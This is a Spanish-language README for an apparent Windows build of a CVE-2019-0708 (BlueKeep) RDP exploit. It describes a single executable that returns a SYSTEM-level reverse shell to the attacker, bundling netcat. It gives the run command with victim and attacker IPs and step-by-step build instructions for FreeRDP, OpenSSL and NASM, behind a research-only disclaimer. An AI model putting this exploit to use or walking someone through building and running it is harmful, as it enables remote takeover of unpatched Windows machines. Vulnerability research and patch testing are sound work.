CVE-2019-0708-EXP-Windows-Version
Descargo de responsabilidad
El PoC del autor es únicamente con fines de investigación. Si el lector utiliza este PoC para llevar a cabo otras acciones, el autor no se hace responsable.
Índice
[toc]
Introducción
CVE-2019-0708-EXP en su versión para Windows se ejecuta como un único archivo exe, sin necesidad de Linux, Python, Ruby, etc. Una vez ejecutado, devuelve directamente una shell inversa con privilegios de System en la consola actual.
La compilación se realiza en modo de biblioteca totalmente estática e incrusta todas las DLL, integra netcat y openssl, y admite la visualización de la barra de progreso y el eco de la shell.
Entorno de reproducción
- Sistema operativo de la víctima (Victim): Windows 7 SP1 x64
- Sistema operativo del atacante (Attacker): Windows 10 x64
- Entorno de compilación: Visual Studio 2013
Instrucciones de uso
- Entre en el directorio CVE-2019-0708-EXP-Release
- Ejecute wfreerdp.exe /v:Victim_IP /l:Attacker_IP, por ejemplo: wfreerdp.exe /v:10.120.1.160 /l:10.120.1.17
Tutorial de instalación
- Copie el proyecto FreeRDP-master a E:\git\KernelResearch\FreeRDP-master\
- Instale el entorno de compilación de Openssl, o simplemente descomprima openssl.7z en C:\openssl\ para usar el entorno Openssl ya compilado
- Instale el entorno de compilación de Nasm
- Instale cmake-3.15.3-win64-x64.msi como administrador
- Agregue C:\Program Files\CMake\bin a la variable de entorno path
- Reinicie el equipo
- Ejecute "C:\Program Files\CMake\bin\cmake.exe" E:\git\KernelResearch\FreeRDP-master\CMakeCache.txt
- Compile el proyecto. Si descubre que todavía faltan archivos, puede restaurarlos desde FreeRDP-master-restore.7z
Tutorial de instalación del entorno de compilación de Openssl
- Descomprima openssl-1.0.2s.tar.gz en C:\openssl\
- Instale ActivePerl-5.28.1.0000-MSWin32-x64-fde9aa8a.msi
- Agregue C:\Perl64\bin a la variable de entorno path
- Abra el Símbolo del sistema de herramientas nativas de VS2013 x64, que puede encontrar en el menú Inicio
- Ejecute perl Configure VC-WIN64A
- Ejecute cd /d C:\openssl\
- Ejecute ms\do_win64a
- A continuación, comience la compilación. Se pueden usar los siguientes modos; el exp utiliza el modo de biblioteca estática:
Compilar la biblioteca dinámica de Openssl: nmake -f ms\ntdll.mak
Compilar la biblioteca estática de Openssl: nmake -f ms\nt.mak
Probar la biblioteca dinámica de Openssl: nmake -f ms\ntdll.mak test
Probar la biblioteca estática de Openssl: nmake -f ms\nt.mak test
Instalar la biblioteca dinámica de Openssl: nmake -f ms\ntdll.mak install
Instalar la biblioteca estática de Openssl: nmake -f ms\nt.mak install
Limpiar la compilación anterior de la biblioteca dinámica de Openssl para recompilar: nmake -f ms\ntdll.mak clean
Limpiar la compilación anterior de la biblioteca estática de Openssl para recompilar: nmake -f ms\nt.mak clean
- Al finalizar, busque los archivos libeay32.lib y ssleay32.lib en out32 y cópielos a C:\openssl\lib\
Tutorial de instalación del entorno de compilación de Nasm
- Instale nasm-2.14.02-installer-x64.exe como administrador
- Agregue C:\Program Files\NASM a la variable de entorno path
- Descomprima los 3 archivos de nasmBuildCustomizations.rar en C:\Program Files (x86)\MSBuild\Microsoft.Cpp\v4.0\V120\BuildCustomizations\
- Seleccione el directorio del proyecto client->common->freerdp-client, haga clic derecho -> "Dependencias de compilación" -> "Personalizaciones de compilación" y luego marque la opción nasm (tenga en cuenta que no es masm)
- Si al seleccionar cualquier archivo .asm en el proyecto freerdp-client aparece la opción de compilación en el menú contextual, significa que el entorno de compilación de Nasm se instaló correctamente
Resultado de la ejecución

Alojamiento del proyecto
Dirección de mi PoC
Contribuciones
El autor es de ZheJiang Guoli Security Technology, correo electrónico: [email protected]